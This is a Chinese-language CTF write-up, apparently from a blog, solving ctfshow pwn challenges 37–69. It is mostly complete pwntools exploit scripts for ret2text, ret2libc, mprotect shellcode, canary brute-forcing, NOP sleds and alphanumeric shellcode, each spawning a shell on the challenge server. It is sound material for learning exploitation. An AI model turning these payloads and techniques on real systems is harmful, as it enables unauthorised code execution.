Last Commit Date: 2025/05/27 入门难研究难学的还难找工作还难更重要的是题目还难 ^_^?
pwn37 ret2text 32bit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28257 ) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x16 backdoor_addr = 0x8048521 payload = b'a' * padding + p32(backdoor_addr) io.recvuntil("32bit\n" ) io.sendline(payload) io.interactive()
pwn38 ret2text 64bit需要考虑堆栈平衡
1 2 3 padding = 0x12 backdoor_addr = 0x400657 payload = b'a' * padding + p64(backdoor_addr+1 )
pwn39 32位的 system(); “/bin/sh”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28106 ) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x16 system_addr = 0x804854F bin_sh_addr = 0x8048750 payload = b'a' * padding + p32(system_addr) + p32(bin_sh_addr) io.recvuntil("32bit\n" ) io.sendline(payload) io.interactive()
pwn40 64位的 system(); “/bin/sh”
1 2 3 4 5 6 padding = 0x12 system_addr = 0x40066E bin_sh_addr = 0x400808 pop_rdi_ret_addr = 0x4007e3 payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr) io.recvuntil("64bit\n" )
pwn41 32位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28140 ) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x16 system_addr = 0x804856E sh_addr = 0x80487BA payload = b'a' * padding + p32(system_addr) + p32(sh_addr) io.recvuntil(" * ************************************* \n" ) io.sendline(payload) io.interactive()
pwn42 64位的 system(); 但是没”/bin/sh” ,好像有其他的可以替代
1 2 3 4 5 padding = 0x12 system_addr = 0x4006B2 sh_addr = 0x400872 pop_rdi_ret_addr = 0x400843 payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(sh_addr) + p64(system_addr)
pwn43 32位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
向 bss 段写入 /bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28185 ) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x6C + 0x4 system_addr = 0x8048450 buf2_addr = 0x804B060 gets_addr = 0x8048420 payload = b'a' * padding + p32(gets_addr) + p32(system_addr) + p32(buf2_addr) + p32(buf2_addr) io.recv() io.sendline(payload) io.sendline("/bin/sh" ) io.interactive()
pwn44 64位的 system(); 但是好像没”/bin/sh” 上面的办法不行了,想想办法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28231 ) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x12 system_addr = 0x400520 buf2_addr = 0x602080 gets_addr = 0x400530 pop_rdi_ret_addr = 0x4007f3 payload = b'a' * padding payload += p64(pop_rdi_ret_addr) + p64(buf2_addr) + p64(gets_addr) payload += p64(pop_rdi_ret_addr) + p64(buf2_addr) + p64(system_addr) io.recv() io.sendline(payload) io.sendline("/bin/sh" ) io.interactive()
pwn45 32位无 system 无 “/bin/sh” ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28254 ) elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) padding = 0x6f puts_plt = elf.symbols["puts" ] puts_got = elf.got["puts" ] main_addr = 0x804866D payload = b'a' * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got) + p32(main_addr) io.recvuntil("O.o?\n" ) io.sendline(payload) puts_addr = u32(io.recv(4 )) print ("puts_addr:" ,hex (puts_addr))libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))payload2 = b'a' * padding + p32(system_addr) + p32(main_addr) + p32(binsh_addr) io.recvuntil("O.o?\n" ) io.sendline(payload2) io.interactive()
pwn46 64位无 system 无 “/bin/sh” ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='amd64' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28312 ) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x78 puts_plt = elf.symbols["puts" ] puts_got = elf.got["puts" ] main_addr = 0x40073E pop_rdi_ret_addr = 0x400803 payload = b'a' * padding + p64(pop_rdi_ret_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.recvuntil("O.o?\n" ) io.sendline(payload) puts_addr = u64(io.recv(6 ).ljust(8 ,b'\x00' )) print ("puts_addr:" ,hex (puts_addr))libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) print ('libc_base:' ,hex (libc_base))system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) print ('system:' ,hex (system_addr))print ('bin_sh:' ,hex (binsh_addr))payload2 = b'a' * padding + p64(pop_rdi_ret_addr) + p64(binsh_addr) + p64(system_addr) io.recvuntil("O.o?\n" ) io.sendline(payload2) io.interactive()
pwn47 ret2libc ez ret2libc, 需要接收关键词后的地址数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28273 ) elf = ELF(pwnfile) rop = ROP(pwnfile) padding = 0x9c + 4 io.recvuntil("puts: " ) puts_addr = eval (io.recvuntil("\n" , drop=True )) print ("puts_addr:" ,hex (puts_addr))io.recvuntil("gift: " ) bin_sh_addr = eval (io.recvuntil("\n" , drop=True )) print ("bin_sh_addr:" ,hex (bin_sh_addr))libc = LibcSearcher("puts" , puts_addr) libc_base = puts_addr - libc.dump("puts" ) system = libc_base + libc.dump("system" ) paylad = b'a' * padding + p32(system) + p32(0 ) + p32(bin_sh_addr) io.sendline(paylad) io.interactive()
pwn48 ret2libc ret2libc ,与 pwn45一模一样,只需要改 main 地址就可以了
pwn49 mprotect 静态编译?或许你可以找找mprotect 函数
mprotect()
函数可以用来修改一段指定内存区域的保护属性; 把自start开始的、长度为len的内存区的保护属性修改为prot指定的值 prot可以取以下几个值,并且可以用“|”将几个属性合起来使用: 1)PROT_READ:表示内存段内的内容可写; 2)PROT_WRITE:表示内存段内的内容可读; 3)PROT_EXEC:表示内存段中的内容可执行; 4)PROT_NONE:表示内存段中的内容根本没法访问。
64bit mprotect()
函数传参方式为 rdi rsi rdx
32bit mprotect()
函数传参方式为 ebx ecx edx
==[+]注意!在 32bit 的 mprotect利用中,因为是栈传递参数,只需要找到连续三个 pop;ret 就可以了,不需要按照顺序找;64bit 则需要找 rdi , rsi , rdx
思路: 利用 mprotect()
函数将我们目标读入shellcode处改为可执行的,然后执行shellcode。 填充地址 + mprotect函数 + mprotect的三个参数 + read函数 (最后调用 read 是因为利用read函数将shellcode写到内存空间里)
1 0x08049bd9 : pop ebx ; pop esi ; pop edi ; ret
确定 mprotect()
中的参数 (修改 / 写入的地址)
1 2 readelf -S ./pwn (找 .got.plt 段) [19 ] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4
所以 mprotect()
处利用的 payload 为 填充地址 + mprotect 函数 + mprotect 的三个参数 + read 函数
1 payload = b'a' * padding + p32(mprotect_addr) + p32(pop) + p32(got_plt_addr) + p32(0x1000 ) + p32(0x7 ) + p32(read_addr)
read
处的 payload 为 read_addr + read 返回地址 + 参数1(方式) + 参数2(起始地址) + 参数3(长度)
1 2 shellcode = asm(shellcraft.sh()) payload += p32(read_addr) + p32(got_plt_addr) + p32(0x0 ) + p32(got_plt_addr) + p32(len (shellcode))
完整脚本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './pwn' io = remote('pwn.challenge.ctf.show' ,28216 ) elf = ELF(pwnfile) rop = ROP(pwnfile) libc = ELF("/lib/i386-linux-gnu/libc.so.6" ) padding = 0x16 mprotect_addr = 0x806CDD0 pop = 0x8049bd9 read_addr = 0x806BEE0 got_plt_addr = 0x080da000 payload = b'a' * padding + p32(mprotect_addr) + p32(pop) + p32(got_plt_addr) + p32(0x1000 ) + p32(0x7 ) + p32(read_addr) shellcode = asm(shellcraft.sh()) payload += p32(read_addr) + p32(got_plt_addr) + p32(0x0 ) + p32(got_plt_addr) + p32(len (shellcode)) io.recvuntil(" * ************************************* \n" ) io.sendline(payload) io.sendline(shellcode) io.interactive()
pwn50 64bit 通过 libc 泄露 mprotect()
函数 , 更改 bss 段 shellcode 权限从而 get shell0x0A ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28203 ) putsplt = elf.plt['puts' ] putsgot = elf.got['puts' ] main_addr = elf.sym['main' ] rdi_addr = 0x4007e3 ret_addr = 0x4004fe payload1 = b'b' * 40 + p64(rdi_addr) + p64(putsgot) + p64(putsplt) + p64(main_addr) io.sendlineafter(b'Hello CTFshow\n' ,payload1) puts_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print (hex (puts_addr))libc = LibcSearcher('puts' ,puts_addr) base = puts_addr - libc.dump('puts' ) system_addr = base + libc.dump('system' ) binsh_addr = base + libc.dump('str_bin_sh' ) payload2 = b'a' * 40 + p64(ret_addr) + p64(rdi_addr) + p64(binsh_addr) + p64(system_addr) io.sendline(payload2) io.interactive()
0x0B mprotect()
做法 ROPgadget 找不到 rdx…………..
pwn51 I‘m IronMan 关键:输入 I
, 会转变成 IronMan
, 栈溢出这就来了 栈溢出0x6C + 0x04 字节,就是112字节, 112 / 7 = 16 ; 所以只需要输入16个 I 就可以导致 stack overflow ; 然后跳转到后门函数 cat flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28282 ) this = 0x804902E padding = 0x6C + 4 print (padding)paylaod = b'I' * 16 + p32(this) io.sendline(paylaod) io.interactive()
pwn52 迎面走来的flag让我如此蠢蠢欲动简单 gets 溢出后 call flag(int a1, int a2)
, 32bit 栈传参传入 a1 == 0x36C && a2 == 0x36D
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28184 ) padding = 0x6C + 4 flag_addr = 0x8048586 main_addr = 0x804874E paylaod = b'a' * padding + p32(flag_addr) + p32(main_addr) + p32(0x36C ) + p32(0x36D ) io.recvuntil("What do you want?\n" ) io.sendline(paylaod) io.interactive()
pwn53 Canary Crack 再多一眼看一眼就会爆炸本地的canary 保护,爆破Canary
read(0, buf, nbytes);
可以输入 nbytes
为 -1
,达到溢出 buf
函数末尾会检查 Canary 是否被修改:
1 2 3 4 5 if ( memcmp (&s1, &global_canary, 4u ) ){ puts ("Error *** Stack Smashing Detected *** : Canary Value Incorrect!" ); exit (-1 ); }
溢出后需要在 payload 中填入正确的 Canary 值 (本地文件获取的,可以通过爆破获得) ,不然会检测到栈破坏然后退出
0x0A 爆破 Canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28146 ) canary = b'' padding = 32 for i in range (4 ): for c in range (256 ): try : io = remote('pwn.challenge.ctf.show' , 28146 ) io.recvuntil(b">" ) io.sendline(b'-1' ) payload = b'a' * padding + canary + p8(c) io.recvuntil(b"$ " ) io.send(payload) if b'Stack Smashing Detected' not in io.recvline(): print (f'Found byte {i} : {hex (c)} ' ) canary += p8(c) io.close() break io.close() except Exception as e: print (f"Error: {e} " ) io.close() continue print ('[+] Canary: ' , canary) print ("[+] Hex: " )for byte in canary: print (hex (byte), end=' ' ) io = remote('pwn.challenge.ctf.show' ,28146 ) flag = elf.sym['flag' ] payload = b'a' * padding + canary + p32(0 ) * 4 + p32(flag) io.recvuntil(">" ) io.sendline(str (-1 )) io.recvuntil('$ ' ) io.send(payload) io.interactive()
pwn54 再近一点靠近点快被融化 32bit
整体逻辑就是输入 username 到 v5[256]
,后面就读取本地文件 ./password.txt
到 s1 (fgets(s1, 64, stdin);)
栈空间可以看出 v5 和 s1 是连接的
1 2 3 4 5 6 7 8 9 10 -00000160 var_160 db ? ... -00000066 db ? ; undefined -00000065 db ? ; undefined -00000064 db ? ; undefined -00000063 db ? ; undefined -00000062 db ? ; undefined -00000061 db ? ; undefined -00000060 s db ? -0000005F
所以可以占满整个 v5,使得 puts(v5);
溢出到 password 的栈空间,输出 password
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28286 ) padding = 256 paylaod = b'a' * padding io.recvuntil("Input your Username:\n" ) io.send(paylaod) print (io.recv(64 ))io.interactive()
1 2 [*] Switching to interactive mode aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3
重新构造 payload,get flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28286 ) padding = 256 password = b'CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3' paylaod = b'a' * padding io.recvuntil("Input your Username:\n" ) io.sendline(b'aaaa' ) io.recvuntil("Input your Password.\n" ) io.sendline(password) io.interactive()
pwn55 你是我的谁,我的我是你的谁 和 blog 中写的一道 buuctf 里的题一模一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28297 ) padding = 0x30 func1_addr = 0x8048586 func2_addr = 0x804859D flag_func_addr = 0x8048606 payload = b'a' * padding + p32(func1_addr) + p32(func2_addr) + p32(flag_func_addr) + p32(0xACACACAC ) payload += p32(0xBDBDBDBD ) io.recvuntil("Input your flag: " ) io.sendline(payload) io.interactive()
pwn56 先了解一下简单的32位shellcode吧
1 2 3 4 5 6 7 8 9 10 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28163 ) payload = b'/bin/sh' io.sendline(payload) io.interactive()
pwn57 先了解一下简单的64位shellcode吧
1 2 3 4 5 6 7 8 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote('pwn.challenge.ctf.show' ,28195 ) io.interactive()
pwn58 32位无限制
无法进行反汇编,看到关键代码
1 2 3 4 .text:080486D2 call ctfshow .text:080486D7 add esp, 10h .text:080486DA lea eax, [ebp+s] .text:080486E0 call eax
ctfshow 函数为 gets 无限制,输入的函数会保存到 ebp+s
的地方,然后被调用,直接写入 shellcode 即可
1 2 3 4 5 6 7 8 9 10 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28254 ) shellcode = asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn59 64位无限制 和32bit 同理 , 需要申明架构是 amd64
1 2 3 4 5 6 7 8 9 10 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28246 ) shellcode = asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn60 入门难度shellcode, 32bit 用 ubuntu18 vmmap 发现 buf2 有 rwx 权限 (我用 ubuntu24只有 rw ,无执行权限)
思路: 将 buf2填满 shellcode,然后覆盖返回地址到 buf2处
测多少字节填满到返回地址
1 2 3 pwndbg> cyclic 170 pwndbg> run pwndbg> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra
看到 BACKTRACE 中第一个为
1 2 3 pwndbg> cyclic -l 0x62616164 Finding cyclic pattern of 4 bytes: b'daab' (hex: 0x64616162) Found at offset 112
得到112位 shellcode (len == 122) + buf_ret_addr.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28191 ) shellcode = asm(shellcraft.sh()) buf2_addr = 0x804A080 io.recvuntil("CTFshow-pwn can u pwn me here!!\n" ) payload = shellcode.ljust(112 ,b'a' ) + p32(buf2_addr) io.sendline(payload) io.interactive()
pwn61 输出了什么?
1 2 3 Welcome to CTFshow! What's this : [0x7ffcde411b80] ? Maybe it's useful ! But how to use it?
输出了 v5的地址,看到 main的反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 .text:00000000000007F D ; __unwind { .text:00000000000007F D push rbp .text:00000000000007F E mov rbp, rsp .text:0000000000000801 sub rsp, 10 h .text:0000000000000805 mov [rbp+var_10], 0 .text:000000000000080 D mov [rbp+var_8], 0 .text:0000000000000815 mov rax, cs:__bss_start .text:000000000000081 C mov ecx, 0 ; n .text:0000000000000821 mov edx, 1 ; modes .text:0000000000000826 mov esi, 0 ; buf .text:000000000000082B mov rdi, rax ; stream .text:000000000000082 E call _setvbuf .text:0000000000000833 mov eax, 0 .text:0000000000000838 call logo .text:000000000000083 D lea rdi, aWelcomeToCtfsh ; "Welcome to CTFshow!" .text:0000000000000844 call _puts .text:0000000000000849 lea rax, [rbp+var_10] .text:000000000000084 D mov rsi, rax .text:0000000000000850 lea rdi, format ; "What's this : [%p] ?\n" .text:0000000000000857 mov eax, 0 .text:000000000000085 C call _printf .text:0000000000000861 lea rdi, aMaybeItSUseful ; "Maybe it's useful ! But how to use it?" .text:0000000000000868 call _puts .text:000000000000086 D lea rax, [rbp+var_10] .text:0000000000000871 mov rdi, rax .text:0000000000000874 mov eax, 0 .text:0000000000000879 call _gets .text:000000000000087 E mov eax, 0 .text:0000000000000883 leave .text:0000000000000884 retn
如果把 shellcode 写入 v5 , 那就会一直覆盖到 leave , 然后导致执行错误 所以我么要把 shellcode 写在 v5 + padding + 0x08 字节处, 才可以正常写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28215 ) shellcode = asm(shellcraft.sh()) io.recvuntil("What's this : [" ) v5_addr = eval (io.recvuntil(b"]" ,drop=True )) padding = 0x18 print ("v5_addr: " ,hex (v5_addr))payload = b'a' * padding + p64(v5_addr + padding + 8 ) + shellcode io.sendline(payload) io.interactive()
pwn62 ret2shellcode 短了一点 和 pwn61差不多,只是对 shellcode 的长度做了一些限制,因为只在 buf 中读取了0x38字节,实际可以用的只有 0x38 - 0x18 - 8
换一个更短的 shellcode 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28246 ) shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05' io.recvuntil("What's this : [" ) v5_addr = eval (io.recvuntil(b"]" ,drop=True )) padding = 0x18 print ("v5_addr: " ,hex (v5_addr))payload = b'a' * padding + p64(v5_addr + padding + 8 ) + shellcode io.sendline(payload) io.interactive()
pwn63 又短了一点 和 pwn62 没什么区别,payload 一样可以用,直接打就行(解题脚本一样)
pwn64 有时候开启某种保护并不代表这条路不通 32bit , 开启了堆栈不可执行,查看伪代码发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl main (int argc, const char **argv, const char **envp) { void *buf; buf = mmap(0 , 0x400u , 7 , 34 , 0 , 0 ); alarm(0xAu ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(_bss_start, 0 , 2 , 0 ); puts ("Some different!" ); if ( read(0 , buf, 0x400u ) < 0 ) { puts ("Illegal entry!" ); exit (1 ); } ((void (*)(void ))buf)(); return 0 ; }
mmap(0, 0x400u, 7, 34, 0, 0);
命令对 buf 中 0x400字节区域执行了可读可写可执行命令((void (*)(void))buf)();
猜测为调用了 buf 所以直接写入 shellcode 即可
1 2 3 4 5 6 7 8 9 10 from pwn import *from LibcSearcher import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28108 ) shellcode = asm(shellcraft.sh()) io.sendline(shellcode) io.interactive()
pwn65 shellcode bypass 你是一个好人 64bit , 不能反汇编,看一遍大体过程就是限制了 shellcode 输入的字符必须是可见字符 参考: https://www.freebuf.com/articles/system/232280.html
1 2 3 4 5 6 7 8 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28254 ) shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" io.send(shellcode) io.interactive()
注意要用 io.send()
为什么不用 io.sendline()
? - 因为 sendline 发送的换行符不在可见字符内, 会输出 wrong
pwn66 shellcode+while bypass 简单的shellcode?不对劲,十分得有十二分的不对劲 64bit , 写入 shellcode 的时候做了限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 __int64 __fastcall check (_BYTE *a1) { _BYTE *i; while ( *a1 ) { for ( i = &unk_400F20; *i && *i != *a1; ++i ) ; if ( !*i ) return 0LL ; ++a1; } return 1LL ; }
shellcode 必须在 unk_400F20
这个里面, 直接用以 \x00
开头的汇编代码绕过就好了 该脚本可以暴力枚举以 \x00
开头的汇编代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *from itertools import *import refor i in range (1 , 3 ): for j in product([p8(k) for k in range (256 )], repeat=i): payload = b"\x00" + b"" .join(j) res = disasm(payload) if ( res != " ..." and not re.search(r"\[\w*?\]" , res) and ".byte" not in res ): print (res) input ()
OutPut:
1 2 ❯ python3 ./scripts/63.py 0: 00 c0 add al, al
在普通的 shellcode 前加上绕过的汇编代码即可
1 2 3 4 5 6 7 8 9 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'amd64' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28145 ) shellcode = asm(shellcraft.sh()) payload = b'\x00\xc0' + shellcode io.sendline(payload) io.interactive()
pwn67 NOP SLED 32bit nop sled
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; void (*v5)(void ); unsigned int seed[1027 ]; seed[1025 ] = (unsigned int )&argc; seed[1024 ] = __readgsdword(0x14u ); setbuf(stdout , 0 ); logo(); srand((unsigned int )seed); Loading(); acquire_satellites(); v3 = query_position(); printf ("We need to load the ctfshow_flag.\nThe current location: %p\n" , v3); printf ("What will you do?\n> " ); fgets((char *)seed, 4096 , stdin ); printf ("Where do you start?\n> " ); __isoc99_scanf("%p" , &v5); v5(); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 char *query_position () { char v1; int v2; char *v3; unsigned int v4; v4 = __readgsdword(0x14u ); v2 = rand() % 1337 - 668 ; v3 = &v1 + v2; return &v1 + v2; }
position 是 v1的内存地址加上 v2的值的地址 输入 v5,然后再调用 v5 因为开启了 Canary 但是没有 NX,所以可以将 shellcode 写入 seed 但是 Canary 怎么绕过? 0x01 : 泄露 canary 地址 0x02: nop sled (\x90
) (个人理解:正常填充栈空间,只保留我们要用的 payload,因为 nop 就是不执行)
既然题目都说了要用 nop sled 来做我们就用这个做 上面说了,position 是 v1的内存地址加上 v2的值的地址 , v1是一个定值,v2 = rand() % 1337 - 668;
, 所以 v2就被固定在了 random-668(random∈(0,1336))
这个区间内。
我们只需要填满这个区间就好了
1 payload = 1336 * nop + shellcode
因为 v5的地址有可能取到负数,我们直接 position + 668 再加上稍微大一点的数 0x40
1 start_addr = leak_addr + 668 + 0x30
构造 payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context(os = 'linux' ,log_level = 'debug' ,arch = 'i386' ) elf = ELF('./pwn' ) io = remote("pwn.challenge.ctf.show" ,28106 ) io.recvuntil("The current location: " ) leak_addr = eval (io.recvuntil("\n" , drop=True )) print ("[+] leak_addr:" ,hex (leak_addr))shellcode = asm(shellcraft.sh()) payload = b'\x90' * 1336 + shellcode io.recvuntil("> " ) io.sendline(payload) io.recvuntil("> " ) start_addr = leak_addr + 668 + 0x30 io.sendline(hex (start_addr)) io.interactive()
pwn68 64bit nop sled 和 pwn67一样,只是变成64bit 了,直接按照原脚本打就行!!!!!!!!!!!!!!!!!!! 注意修改 arch = 'amd64'
, 不然 asm(shellcraft.sh())
打出来的是不对的
pwn69 ORW 可以尝试用ORW读flag flag文件位置为/ctfshow_flag ORW 的意思是 CTF pwn 中常见的一种类型的题目,将 flag 打开(O pen) , 读取 (R ead) flag,然后写(W rite) 到 console 上
1 2 3 4 5 6 7 8 __int64 __fastcall main (int a1, char **a2, char **a3) { mmap((void *)0x123000 , 0x1000u LL, 6 , 34 , -1 , 0LL ); sub_400949(); sub_400906(); sub_400A16(); return 0LL ; }
看到 mmap 给我们划分了一个可写可执行的区域,从 0x123000
开始向后 0x1000个字节
1 2 3 4 5 6 7 8 9 10 11 __int64 sub_400949 () { __int64 v1; v1 = seccomp_init(0LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 0LL , 0LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 1LL , 0LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 2LL , 0LL ); seccomp_rule_add(v1, 0x7FFF0000L L, 60LL , 0LL ); return seccomp_load(v1); }
沙箱函数,0x7FFF0000LL
为黑名单过滤,第三个参数是系统调用号。 可以查看一下沙箱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ❯ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read ) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit ) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
只有这些是允许使用的
